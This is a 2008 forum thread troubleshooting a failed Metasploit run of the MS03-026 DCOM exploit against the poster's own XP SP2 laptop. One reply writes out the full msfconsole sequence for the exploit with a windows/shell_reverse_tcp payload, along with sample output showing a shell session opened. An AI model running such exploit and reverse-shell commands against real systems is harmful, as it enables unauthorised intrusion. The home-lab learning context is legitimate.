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Author Topic: help with metaspoilt  (Read 11416 times)
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cripton
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« on: July 16, 2008, 02:35:41 AM »
Hello ..
                i have connected my laptop with pc and tryin out using exploits ...
when i execute an exploit i get an error          :-  "Exploit failed: Invalid
packet. Packet header must be at least 10 bytes long"


can any one tell me how to change the size of the header???
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apollo
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« Reply #1 on: July 17, 2008, 08:08:46 PM »
I'm not sure that it's the size of your header that is the problem.  I'd be interested more in what you are trying to do when you get this error message.  Looking up that error message, it seems to be from the dcerpc package, so I'm guessing that it might be the dcom exploit but if you can tell us the commands that you ran within metasploit to get the error, then we can maybe help you troubleshoot the problem better.
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LSOChris
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« Reply #2 on: July 18, 2008, 06:45:32 AM »
to echo apollo

what commands and options did you run?

what OS are you running?

what OS and SP is your target?

did you select the appropriate target inside of MSF?
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cripton
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« Reply #3 on: July 18, 2008, 02:16:03 PM »
Quote from: apollo on July 17, 2008, 08:08:46 PM
I'm not sure that it's the size of your header that is the problem.  I'd be interested more in what you are trying to do when you get this error message.  Looking up that error message, it seems to be from the dcerpc package, so I'm guessing that it might be the dcom exploit but if you can tell us the commands that you ran within metasploit to get the error, then we can maybe help you troubleshoot the problem better.






Well i m using a GUI metasploit in which :

1. selected exploit/windows/dcerpc/ms03_026_dcom
2.  Target is my laptop which has xp sp 2
3.  payload used is Windows/shell_reverse_tcp
4.  rhost is set to laptop IP

after i apply the exploit i m getting:-

22:07:55 - ms03_026_dcom
  • Launching exploit windows/dcerpc/ms03_026_dcom...
22:07:56 - ms03_026_dcom
  • Started reverse handler
22:07:56 - ms03_026_dcom
  • Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
22:07:56 - ms03_026_dcom
  • Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.2.1[135] ...
22:07:56 - ms03_026_dcom [-] Exploit failed: Invalid packet. Packet header must be at least 10 bytes long


My pc has xp sp 2.. 
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apollo
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« Reply #4 on: July 18, 2008, 03:06:21 PM »
I'm guessing that the host may not be vulnerable and that the reaction based off of the data received from the host you were trying to exploit is what is getting reported on based on the fact that the code which produces that error lives in both the client and the listener for the dcerpc stuff.  You may want to try the console though in case there is something else amiss.  Try this:
Everywhere that is <your IP> is the host running metasploit
Everywhere that is <target IP> is the host that you want to exploit

Code:
msfconsole

then

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set target 0
target => 0
msf exploit(ms03_026_dcom) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set lhost <your IP>
lhost => <your IP>
msf exploit(ms03_026_dcom) > set rhost <target IP>
rhost => <target IP>
msf exploit(ms03_026_dcom) > exploit
[*] Started reverse handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:<target IP>[135] ...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:<target IP>[135] ...
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Command shell session 1 opened (<your IP>:4444 -> <target IP>:1095)
msf exploit(ms03_026_dcom) >



That should work if the host is vulnerable, you may have to try a few times, sometimes certain exploits don't work 100% of the time, and sometimes they partially work. 
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Kev
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« Reply #5 on: July 18, 2008, 03:20:53 PM »
ms03_026_dcom on XP sp2 ?  Its not vulnerable.
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